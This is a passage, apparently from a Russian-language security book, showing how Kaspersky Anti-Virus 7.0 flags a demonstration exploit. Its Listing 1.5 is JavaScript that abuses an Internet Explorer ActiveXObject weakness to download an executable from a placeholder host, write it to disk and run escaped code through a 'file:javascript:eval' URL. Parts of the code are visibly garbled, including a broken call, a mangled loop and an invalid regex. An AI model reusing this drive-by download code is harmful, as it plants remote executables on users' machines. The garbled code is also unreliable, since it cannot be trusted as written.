Рис. 1.1. «Антивирус Касперского 7.0» распознал наш код как самого настоящего троянского коня
Вариант 2. Пароли «спионерили», используя уязвимости браузера: брандмауэр молчал как партизан, ведь в его правилах 80-й порт должен быть открыт! Пример (листинг 1.5) – реализация все того же ActiveXObject. Реакцию «Антивируса Касперского 7.0» смотрите на рис. 1.2.
Рис. 1.2. И опять наш «Касперский» оказался на высоте
Листинг 1.5. Реализация уязвимости IE посредством ActiveXObject!
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.OpenC'GET', "http://www.example.com/1.exe", 0);
x.Send();
var s = new ActiveXObject("ADODB.Stream");
s.Mode = 3;
s.Type = 1;
s.Open();
s.Write(x.responseBody);
s.SaveToFile("C:\\example.exe", 2);
function preparecode(code)
{ result = "";
lines = code.split(/\r\n/);
for (i=0; iline = lines[i];
line = line.replace(/*\s+/,"");
line = line.replace(/\s+$/,"");
line = line.replace(/'/g,"\'");
line = line.replace(/[\\]/g,"\\");
line = line.replace(/[/]/g,"%2f");
if (line != '') {
result += line +'\\r\\n';
}
}
return result;
}
function doit() {
mycode = preparecode(document.all.code.value);
myURL = "file:javascript:eval(" + mycode + "')";
window.open(myURL, "_media");
}
setTimeout("doit()", 5000);